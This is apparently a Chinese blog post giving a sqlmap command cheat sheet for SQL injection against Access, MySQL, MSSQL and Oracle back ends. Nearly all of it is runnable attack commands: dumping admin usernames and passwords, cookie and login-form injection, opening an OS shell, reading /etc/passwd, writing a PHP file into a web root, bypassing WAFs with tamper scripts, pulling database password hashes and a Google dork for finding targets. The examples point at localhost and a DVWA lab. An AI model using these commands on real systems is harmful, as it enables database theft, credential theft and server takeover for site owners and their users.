sqlmap常用命令

access::
--url="http://127.0.0.1/CompHonorBig.asp?id=7" --tables        列表
--url="http://127.0.0.1/CompHonorBig.asp?id=7" --columns -T admin   字段
--url="http://127.0.0.1/CompHonorBig.asp?id=7" --dump -T admin -C "username,password"  内容

mysql:
--url="http://127.0.0.1/link.php?id=321" --dbs
--url="http://127.0.0.1/link.php?id=321" --tables -D myDB
--url="http://127.0.0.1/link.php?id=321" --columns -D myDB -T admin
--url="http://127.0.0.1/link.php?id=321" --dump -C "username,password" -T admin -D myDB

mssql
--url="http://127.0.0.1/link.php?id=321" --dbs
--url="http://127.0.0.1/link.php?id=321" --tables -D myDB
--url="http://127.0.0.1/link.php?id=321" --columns -D myDB -T admin
--url="http://127.0.0.1/link.php?id=321" --dump -C "username,password" -T admin -D myDB

oracle:
--url="http://127.0.0.1/link.php?id=321" --dbs
--url="http://127.0.0.1/link.php?id=321" --tables -D myDB
--url="http://127.0.0.1/link.php?id=321" --columns -D myDB -T admin
--url="http://127.0.0.1/link.php?id=321" --dump -C "username,password" -T admin -D myDB

cookies注入:
--url="http://127.0.0.1/DownloadShow.asp" --level=2 --cookie=id=9 --tables
--url="http://127.0.0.1/DownloadShow.asp" --level=2 --cookie=id=9 --tables --columns -T admin
--url="http://127.0.0.1/DownloadShow.asp" --level=2 --cookie=id=9 --dump -T admin -C "username,password"

post登录框:
--url="http://127.0.0.1/Login.asp" --forms    自动搜
--url="http://127.0.0.1/Login.asp" --data="tfUName=1&tfUPass=1"     指定项

执行命令:
--url="http://127.0.0.1/new.php?id=  1" --os-cmd=ipconfig    类型    指定网站根目录
--url="http://127.0.0.1/new.php?id=1" --os-shell         可能是tmpuoiuz.php

伪静态:
--url="http://127.0.0.1/xxx*/12345.jhtml" --dbs                  *指定地方
--url="http://127.0.0.1/xxx*/12345.jhtml" --tables -D xxxxxx               表
--url="http://127.0.0.1/xxx*/12345.jhtml" --columns -D xxxxxx -T admin     字段
--url="http://127.0.0.1/xxx*/12345.jhtml" --dump -D xxxxxx -T admin -C "username,password"

请求延时:
--url="http://127.0.0.1/Index/view/id/40.html" --delay=2
--url="http://127.0.0.1/Index/view/id/40.html" --safe-freq=5

导出所有数据:
--dump-all

google:
-g inurl:php?id=

读文件:
--file-read /etc/passwd
写文件:
--file-write /mm.php --file-dest /var/www/mm.php

绕过waf:
--url="http://127.0.0.1/new.php?id=1" --tamper space2morehash.py --level=3 --batch --dbs
space2hash.py   base64encode.py charencode.py

1.判断当前用户是否是dba:
python sqlmap.py -u "url" --is-dba

2.--users:列出数据库管理系统用户:
python sqlmap.py -u "url" --users

3.--passwords:数据库用户密码(hash)
python sqlmap.py -u "url" --passwords
python sqlmap.py -u "url" --passwords -U sa

4.查看用户权限
python sqlmap.py -u "url" --privileges
python sqlmap.py -u "url" --privileges -U postgres

5.--dbs可以利用的数据库
python sqlmap.py -u "url" --dbs

6.--tables列数据库表
python sqlmap.py -u "url" --tables -D "db_name"
-D:指定数据库名称

7.--columns查看列名
python sqlmap.py -u "url" --columns -T "table_name1,name2" -D "db_name"

8.--dump -C "column1_name,column2_name,column3_name" 查询字段数据
python sqlmap.py -u "url" --dump -C "column1_name,column2_name" -T "table_name" -D "db_name"
[start  1  stop  100]
导出的数据会被存储在/sqlmap/output目录下,这也就是所谓的拖库了

9.--cookie=""   用于需要认证的页面,不加cookie会被重定向
sqlmap.py -u "http://192.168.100.72/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#"  --dbs  --cookie="security=low;PHPSESSION=19b96af7fa39178651c11436de5aa56d"

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值